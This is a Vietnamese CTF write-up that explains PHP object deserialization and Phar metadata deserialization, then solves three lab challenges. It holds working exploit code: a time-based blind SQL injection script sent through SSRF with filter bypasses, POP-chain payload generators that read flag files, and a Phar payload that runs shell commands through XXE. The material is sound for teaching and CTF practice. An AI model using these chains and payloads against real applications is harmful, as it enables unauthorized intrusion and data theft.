{%hackmd @themes/orangeheart %} # I. PHP Deserialize ## Khái Niệm - Đây là 1 lổ hổng đặc trưng trong php thường liên quan tới các object và class nó có thể gây ra các loại lỗ hổng bảo mật như sql injetion, path traversal, SSRF… - Lỗ hổng này xảy ra khi server unserialze 1 nội dung độc hại từ input người dùng. - Lỗ hổng này yêu cầu trong class của object phải có các php magic method đây là các hàm được dựng sẵn có các chức năng nhất định sẽ được tự động gọi khi thỏa mãn một điều kiện nào đó ## Serialized & Unserialized - Serialized : là quá trình chuyển đổi một object PHP hoặc dữ liệu thành một chuỗi có thể được lưu trữ hoặc truyền tải qua mạng một cách dễ dàng. - Unserialized:là quá trình đưa dữ liệu serialized về dữ liệu gốc . Ví dụ : ```php $data = array( 'name' => 'John', 'age' => 30, 'city' => 'New York' ); $serializedData = serialize($data); // Kết quả: "a:3:{s:4:"name";s:4:"John";s:3:"age";i:30;s:4:"city";s:8:"New York";}" $unserializedData = unserialize($serializedData); // Kết quả: ['name' => 'John', 'age' => 30, 'city' => 'New York'] ``` ## Khai thác Quan sát trong PHP code xem có hàm unserialize() không. Luôn luôn tận dụng các magic method có trong source`__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`,` __unset()`, `__sleep()`, `__wakeup()`, __serialize(), `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`: - __construct(): Magic method này được gọi ra khi một object mới được tạo bằng từ khóa new. Nó thường được sử dụng để khởi tạo các property của object. - __destruct(): Được gọi khi object không còn tham chiếu nào đến nó hoặc khi script kết thúc. Thường được sử dụng để giải phóng tài nguyên hoặc thực hiện các hành động cuối cùng. - __toString(): Được gọi khi object được chuyển thành một chuỗi, ví dụ: khi sử dụng hàm echo hoặc print. - __wakeup() : được gọi tới khi unserialized dữ liệu của 1 class nào đấy. - ...vv Flow khai thác lổ hỗng sẽ được demo trong phần writeup lab # II. Phar Deserialize Phar là một phần mở rộng trong php, có thể hiểu nôm na nó giống như 1 file zip và bên trong nó chứa mã nguồn php hoặc giống như một kho lưu trữ mã nguồn PHP vậy, nghĩa là tập hợp include các file PHP vào chung 1 phar khi excute thì sẽ tự động thực thi toàn bộ các file PHP bên trong nó mà không cần phải extract các PHP đó vào một thư mục nào trước đó cả. Cấu trúc một Phar file gồm có: - Stub: đơn giản chỉ là một file PHP và ít nhất phải chứa đoạn code sau: <?php __HALT_COMPILER(); - A manifest (bảng kê khai): miêu tả khái quát nội dung sẽ có trong file - Nội dung chính của file - Chữ ký: để kiểm tra tính toàn vẹn (cái này là optional, có hay không cũng được) Điểm đáng chú ý nhất trong cấu trúc của một Phar file đó là phần manifest, theo Manual của PHP thì trong mỗi một Phar file, phần manifest có chứa các thông tin sau: ![image](https://hackmd.io/_uploads/By-zN1cAa.png) Dòng được bôi vàng cho biết phần manifest này sẽ giữ các Meta-data đã được serialize. Một điều thú vị là nếu một filesystem function gọi đến một Phar file thông qua wrapper `phar://` thì tất cả các Meta-data trên sẽ được tự động unserialize Ví dụ : file_exists("phar://file.phar") Dưới đây là danh sách các filesystem function có thể trigger lỗ hổng này: ![image](https://hackmd.io/_uploads/H1ZINJ5C6.png) Payload gen : ```php <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); //object sẽ được tự động serialize trước khi đưa vào lưu trữ trên metadata $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?> ``` **NOTE : LỔ HỖNG PHAR NÀY CHỈ CÒN SỬ DỤNG ĐƯỢC ĐỐI VỚI PHP < 8.0** ![image](https://hackmd.io/_uploads/ByuqEt5R6.png) # IV. Writeup Labs ## 1. Happy Birthday KCSC ![image](https://hackmd.io/_uploads/rJIFRNrA6.png) Challenge có cấu trúc thư mục như sau : ![image](https://hackmd.io/_uploads/H1Ed1BrRa.png) Với mục tiêu cuối cùng là đọc được file flag.php Oke bây giờ cùng nhau phân tích source : Bắt đầu với trang index.php với giao diện như phía trên ![image](https://hackmd.io/_uploads/BJubxBSRa.png) Ở đây chúng ta được report một url lên server ![image](https://hackmd.io/_uploads/HklPgSBRT.png) Chưa thấy liên quan gì, tiếp tục đọc tiếp `checkUser.php` : ![image](https://hackmd.io/_uploads/r109eSS0a.png) Ở file này thì ta thấy được có lỗ hổng SQL injection -> mục đích là để dump ra được account admin ![image](https://hackmd.io/_uploads/BJhHZSBRT.png) Nhưng trang này chỉ được truy cập khi ta là `127.0.0.1` Sau khi ngẫm lại một khoảng thời gian thì mình nhận ra có thể lợi dụng url report ở phía trên để thực hiện SSRF->SQLi (thông qua timebase) dump được account admin Ở trên thì có một xíu filter sqli, ta bypass như sau : - Viết in hoa - Lặp lại nhiều lần để sao cho khi nó xóa thì sẽ được từ như ta mong muốn, ví dụ ở bên trên nó filter từ "or" cái ta cần dùng là "password" thì bypass bằng "passwoorrd" (vì nó chỉ duyệt qua và xóa một lần) - Khoảng trắng thì thay bằng kí tự tab (%09) <details> <summary>Script dump như sau</summary> ```python import sys import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} url = "http://localhost:10666/index.php" def main(): password = "" for j in range(1, 100): for i in range(32, 126): payload = f"http://localhost:80/api/checkUser.php?id=1%09AND%09IF(ASCII(SUBSTRING((SELECT%09passworoorrd%09FROM%09users),{j},1))={i},SLEEP(2),'A')" login_data = { 'url': payload, 'submit': 'Submit' } response = requests.post(url=url, data=login_data ,verify=False) if int(response.elapsed.total_seconds()) >= 2: password += chr(i) sys.stdout.write('\r' + password) sys.stdout.flush() break else: sys.stdout.write('\r' + password + chr(i)) sys.stdout.flush() if len(password) < j: print("\r"+password) break if __name__== "__main__": main() ``` </details> ![image](https://hackmd.io/_uploads/BJvpmSrRT.png) Sau khi có được account thì ta tiến hành login : ![image](https://hackmd.io/_uploads/H1ndNBrC6.png) ![image](https://hackmd.io/_uploads/Sy454HrAp.png) Trang index tại page admin có source như sau : ![image](https://hackmd.io/_uploads/B1s1rBrCp.png) <details> <summary>Source của chain.php</summary> ```php <?php class File { public $file; public function __toString() { if (!preg_match('/^(http|https|php|data|zip|input|phar|expect):\/\//', $this->file)) { include($this->file); } return "Ahihhii"; } } class Url { public $url; public function __construct($url) { $this->url = $url; } public function checkUrl() { if (preg_match('/[http|https]:\/\//', $this->url)) return true; else return false; } } class Func1 { public $param1; public $param2; public function __get($key) { $key = $this->param2; return $this->param1->$key(); } } class Source { private $source; public function __construct($s) { $this->source = $s; } public function __invoke() { return $this->source->method; } } class Func2 { public $param; public function __wakeup() { $function = $this->param; return $function(); } } ?> ``` </details> Ở đây dính lỗ hổng deserialze ở cookies, giờ hãy cùng đi phân tích các magic method nào có thể được lợi dụng để tạo chain : - `__construct()`: Magic method này được gọi ra khi một object mới được tạo bằng từ khóa new. Nó thường được sử dụng để khởi tạo các property của object. ![image](https://hackmd.io/_uploads/ByG6wrH0a.png) - `__toString()`: Được gọi khi object được chuyển thành một chuỗi, ví dụ: khi sử dụng hàm echo hoặc print. **Hoặc như trên challenge phía trên thì ta có thể lợi dụng hàm `preg_match()`** ![image](https://hackmd.io/_uploads/HkqSjrBRa.png) Ở ví dụ này thì ta đang cố gắng ép `$a` sang kiểu string bằng hàm `preg_match()` thông qua method `checkUrl()` của object `$b` - `__get($property)`: Được gọi khi cố gắng truy cập một property không tồn tại hoặc không có quyền truy cập. Biến $property chứa tên của property cần truy cập. ![image](https://hackmd.io/_uploads/HylWwSS06.png) - `__invoke()` : cho phép bạn gọi một object như là một hàm. Khi một object được gọi như một hàm, method `__invoke()` của object sẽ được gọi tự động. ![image](https://hackmd.io/_uploads/HkJXtBrCa.png) - `__wakeup()`: được gọi tới khi unserialized dữ liệu của 1 class nào đấy. ![image](https://hackmd.io/_uploads/r1Kt_BB0a.png) Oke đó là những magic method có trong challenge này. Sau một hồi stuck và thử nghiệm thì mình đã chain như sau : ```php $a = new File(); $a->file = "pHp://FilTer/convert.base64-encode/resource=../flag.php"; $b = new Url($a); $c = new Func1(); $c->param2 = "checkUrl"; $c->param1 = $b; $d = new Source($c); $chain = new Func2(); $chain->param = $d; $payload = serialize($chain); echo base64_encode($payload); ``` Kết quả : ![image](https://hackmd.io/_uploads/B1FtMUrR6.png) Giải thích cách hoạt động : 1. unserialize sẽ gọi `__wakeup()` của object `$chain` thuộc class Func2 ![image](https://hackmd.io/_uploads/S1mbArr0T.png) 2. Mà `$d` được gọi bằng cách dùng object như một hàm nên sẽ tự động thực thi methoad `__invoke()` ![image](https://hackmd.io/_uploads/SksYAHS0a.png) 3. Mà object `$c` thuộc class Func1 không hề có property nào tên là method cả (property "method" không tồn tại) nên nó sẽ tự động thực thi magic method `__get($property)` ![image](https://hackmd.io/_uploads/HkvdkIBAT.png) 4. Tại object `$b` hàm `preg_match()` đang ép object `$a` sang kiểu string nên method `__toString()` của object `$a` sẽ được gọi ![image](https://hackmd.io/_uploads/ByROx8rRa.png) 5. Cuối cùng đọc flag qua hàm `include()` ![image](https://hackmd.io/_uploads/SJigWLrRp.png) Lưu ý ở đây có một xíu filter, ta bypass như sau : - Viết chữ hoa chữ thường kết hợp để bypass php -> pHp - Lúc chain thì ta chỉnh property `$source` (thuộc class Source) sang public ![image](https://hackmd.io/_uploads/HJgTWLHAp.png) Mục đích để vượt qua filter tại đây : ![image](https://hackmd.io/_uploads/r1wbGLrCT.png) Bởi vì atribute private thì lúc serialize thì sẽ có vài kí tự "null" có trong payload, chuyển thành public để bypass (vì nó cũng sẽ hoạt động như nhau) ## 2. Rootme: PHP - Unserialize Pop Chain ![image](https://hackmd.io/_uploads/H1OJeNQR6.png) <details> <summary>Click để xem source code</summary> ```php <?php $getflag = false; class GetMessage { function __construct($receive) { if ($receive === "HelloBooooooy") { die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>"); } else { $this->receive = $receive; } } function __toString() { return $this->receive; } function __destruct() { global $getflag; if ($this->receive !== "HelloBooooooy") { die("[FRIEND]: Hm.. you don't seem to be the friend I was waiting for..<br>"); } else { if ($getflag) { include("flag.php"); echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG."<br>"; } } } } class WakyWaky { function __wakeup() { echo "[YOU]: ".$this->msg."<br>"; } function __toString() { global $getflag; $getflag = true; return (new GetMessage($this->msg))->receive; } } if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } if (isset($_POST["data"]) && !empty($_POST["data"])) { unserialize($_POST["data"]); } ?> ``` </details> Ta sẽ liệt kê ra các magic method được dùng trong source như sau : - `__construct()` được sử dụng để khởi tạo một object. Method này được gọi tự động ngay khi một object được tạo ra bằng từ khóa new. - `__toString()`: Khi một object được gọi hoặc sử dụng dưới vai trò là chuỗi (string), method `__toString()` sẽ được thực thi. Lưu ý rằng method này luôn phải return một chuỗi. - `__wakeup()` sẽ được gọi trước khi thực hiện quá trình deserialization. Bây giờ cùng điểm qua các điều kiện cần thỏa mãn để có được flag : - Điều kiện 1: Class `GetMessage()` tại thời điểm khởi tạo có property `receive != "HelloBooooooy"`. - Điều kiện 2: Class `GetMessage()` tại thời điểm thực hiện magic method `__destruct()` có property `receive === "HelloBooooooy"` - Điều kiện 3: Class `GetMessage()` tại thời điểm thực hiện magic method `__destruct()` có biến `$getflag == true` Ở trong source thì class `GetMessage()` tương đối dễ hiểu, do đó mình sẽ không giải thích thêm về class này, chúng ta sẽ làm rõ class `WakyWaky()` : ```php class WakyWaky { function __wakeup() { echo "[YOU]: ".$this->msg."<br>"; } function __toString() { global $getflag; $getflag = true; return (new GetMessage($this->msg))->receive; } } ``` - `__wakeup()` được gọi khi thực thi hàm unserialize() - `__toString()` được gọi khi object thuộc class `WakyWaky()` được thực thi với vai trò là string. Chú ý rằng method này đổi giá trị `$getflag` thành true. - Giá trị trả về `(new GetMessage($this->msg))->receive` khai báo một object mới thuộc class `GetMessage()` có property `receive` nhận giá trị `$this->msg`, cuối cùng trả về chính property `receive` này. (Có thể hiểu đơn giản là trả về `$this->msg`) Từ các phân tích ở trên bây giờ chúng ta sẽ cùng đi giải quyết các điều kiện. Điều kiện 1 : Giải quyết đơn giản ```php $a = new GetMessage("Nightcore"); ``` Điều kiện 2 : Chúng ta chỉ cần định nghĩa lại giá trị này sau khi khởi tạo object: ```php $a = new GetMessage("Nightcore"); $a->receive = "HelloBooooooy"; ``` Điều kiện 3 : Để `$getflag == true` ta cần gọi method `__toString()` thuộc class `WakyWaky()`. Đầu tiên, khai báo một object mới và object này cần được thực thi với vai trò là string : ```php $b = new WakyWaky(); echo $b; ``` Cơ mà ta phải nối 3 điều kiện trên lại mới tạo được một payload hoàn chỉnh. Mấu chốt để thực hiện được phép "nối" này chính là giá trị trả về trong method `__toString()` thuộc class `WakyWaky()` vì nó sẽ return về chính `$this->msg` đó. Do vậy chúng ta có thể gán object `$a` vào property msg của object `$b`: ```php $a = new GetMessage("Nightcore"); $a->receive = "HelloBooooooy"; $b = new WakyWaky(); $b->msg = $a; echo $b; $payload = serialize($b); unserialize($payload) ``` Cái chúng ta cần là ngay khi server deserialize `$payload` ![image](https://hackmd.io/_uploads/S1C6HHQR6.png) Thì `echo $b;` phải được gọi luôn nó mới được. Do vậy ta sẽ tạo thêm một object `$c` nữa, và gán `$c->msg = $b` ```php $a = new GetMessage("viblo"); $a->receive = "HelloBooooooy"; $b = new WakyWaky(); $b->msg = $a; $c = new WakyWaky(); $c->msg = $b; $payload = serialize($c); // echo $payload; unserialize($payload); ``` Khi đó ngay khi server thực hiện unserialize thì method `__wakeup()` của `$c` được gọi ![image](https://hackmd.io/_uploads/rJMpUS7C6.png) Lúc này lệnh `echo $b` sẽ được thực hiện, do ta đã gán `$c->msg = $b` **Kết quả :** ![image](https://hackmd.io/_uploads/SJRL78QR6.png) **Oke tóm lại thì bây giờ mình sẽ giải thích luồng hoạt động của payload một lần nữa như sau** : 1. `unserialize($payload);` được gọi, chương trình nhảy vào method `__wakeup()` của `$c` ![image](https://hackmd.io/_uploads/SkYNiHmAa.png) 2. Thực hiện `echo $this->msg` (thuộc object`$c`), mà `$c->msg = $b`. Lệnh này sẽ chuyển thành như sau : ![image](https://hackmd.io/_uploads/r1GI2HXCp.png) 3. Và do `$b` đang được xử lí dưới dạng string (lệnh echo) nên method `__toString()` của `$b` được gọi ![image](https://hackmd.io/_uploads/B1802S7Rp.png) - Chuyển `$getflag = true;` - Return về `$this->msg` (thuộc `$b`), mà ta đã đã gán `$b->msg = $a`. Cho nên tóm gọn lại thì nó sẽ return về property `receive` của object mới được khởi tạo tạm đặt là `$x` : - `$x->receive = $a` 4. Giá trị return được trả về là `$a`, lúc này lệnh echo ở bước 2 (thuộc object `$c`) trở thành như sau : ![image](https://hackmd.io/_uploads/ry1Py87Ra.png) 5. Và vì lúc này object `$a` đang được xử lí dưới vài trò là string thông qua lệnh echo, cho nên nó sẽ tiếp tục gọi method `__toString()` của object `$a` : ![image](https://hackmd.io/_uploads/SJ16JIQA6.png) Và `$a->receive` lúc này đang có giá trị là "HelloBooooooy" Cho nên kết quả in ra đầu tiên sẽ là : `[YOU]: HelloBooooooy` 6. Object `$x` được tạo vừa nãy do không được sử dụng tới nên thực hiện tự hủy, gọi method `__destruct()` In ra màn hình dòng thứ 2 với hàm `die()` (do `$x->receive !== "HelloBooooooy"`): `[FRIEND]: Hm.. you don't see to be the friend I was waiting for..` 7. Hàm `die()` được gọi ở bước 6 đã làm kết thúc chương trình nên method `__destruct()` của `$a` (thuộc class GetMessage) được gọi. Do `$a->receive === "HelloBooooooy"` và `$getflag = true` nên in ra dòng thông báo cuối cùng kèm flag của challenge này: `[FRIEND]: Oh ! Hi! Let me show you my secret: uns3r14liz3_p0p_ch41n_r0cks` ## 3. Yugioh Shop Challenge cho ta một trang web ![image](https://hackmd.io/_uploads/Byam0qI0p.png) Sau khi tạo tài khoản và đăng nhập thì được như sau : ![image](https://hackmd.io/_uploads/HyAiA5LAT.png) Tại trang profile thì có chức năng upload ảnh : ![image](https://hackmd.io/_uploads/HJ_PkoU0a.png) Oke bây giờ cùng nhau phân tích source code, mình sẽ phân tích những chỗ quan trọng có chứa lổ hổng thui ![image](https://hackmd.io/_uploads/r1PkfsUCa.png) File `utils.php`, `user.php`, `database.php`, `buy.php` là những file có chứa lổ hỗng Bắt đầu với file `buy.php` : ![image](https://hackmd.io/_uploads/ByPUzsIRa.png) Ở đây thì tại dòng 10 xuất hiện lổ hổng XXE : ![image](https://hackmd.io/_uploads/SyUbQjLC6.png) Tiếp tục đến file `database.php` ![image](https://hackmd.io/_uploads/H1rPQiURp.png) Ở đây có một điểm đáng nghi là sự xuất hiện của magic method `__wakeup()` : sẽ tự động được gọi khi thực hiện quá trình unserialize Tiếp tục đến file `user.php` : ![image](https://hackmd.io/_uploads/rk6dEjUAT.png) Có sự xuất hiện của magic method `__toString()` sẽ tự động được gọi nếu như objecti được dùng như một chuỗi (string). Cuối cùng là file utils.php : ![image](https://hackmd.io/_uploads/r1GxHo80p.png) ![image](https://hackmd.io/_uploads/rJdGBsIA6.png) Ở đây có sự xuất hiện của magic method `__get()` : sẽ được gọi khi object truy cập một property khôn tồn tại Ngoài ra còn có function uploadFile() có chứa một bộ filter khá ba chấm, filter nhưng cuối cùng vẫn cho upload. Nói chung là nó ko filter gì :v Những file kể trên nó đều được include vào file `config.php` ![image](https://hackmd.io/_uploads/SkDtLo8Ap.png) Từ những magic method ở trên có thể chain để đọc được flag theo trình tự Database() -> User() -> Utils() Vấn đề là trong source không hề có một hàm unserialize() nào. Nhớ tới chức năng upload không hề filter cái gì hồi nãy thì ta có ý tưởng là upload một file phar chứa metadata được lưu trữ dạng serialized format. Bất cứ một “hoạt động tệp” tác động đến tệp PHAR mà sử dụng wrapper phar:// thì những metadata này sẽ tự động deserialized. Ta có thể lợi dụng lỗ hổng XXE để gọi phar:// Script : ```php <?php class Utils { public $a = "system"; public $b = "cat /*"; function __get($key) { return ($this->a)($this->b); } } class User { public $username = "a"; public $avatar; function __toString() { echo "Username: " . $this->username . " - Avatar: " . $this->avatar->url; } } class Database { public $is_connected = 0; public $database; function __wakeup() { if (!$this->is_connected) { echo "Cannot connect to database: " . $this->database; } } } $c = new Utils(); $b = new User(); $b->avatar = $c; $a = new Database(); $a->database = $b; $payload = serialize($a); echo $payload; //@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); //object sẽ được tự động serialize() sau đó mới đưa vào metadata để lưu trữ $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ``` Dùng lệnh sau để chạy : `php --define phar.readonly=0 <name>.php` Về cách hoạt động của payload thì nó tương tự 2 lab trước, mình giải thích khá kĩ về mấy magic method quen thuộc này rồi, cho nên ở lab này mình sẽ không giải thích nữa. Khi upload thì file sẽ được đổi extension thành `.jpg`, nhưng mà nó không quan trọng chỉ cần đúng cấu trúc là được, extension nào cũng được hết. ![image](https://hackmd.io/_uploads/Hy8v6j8Ra.png) ![image](https://hackmd.io/_uploads/HJru6jI0p.png) Bây giờ thì truy cập phar:// thông qua lổ hỗng XXE : ![image](https://hackmd.io/_uploads/B1T2To8Ap.png) Bài lab được hoàn thành!!! Done ~~~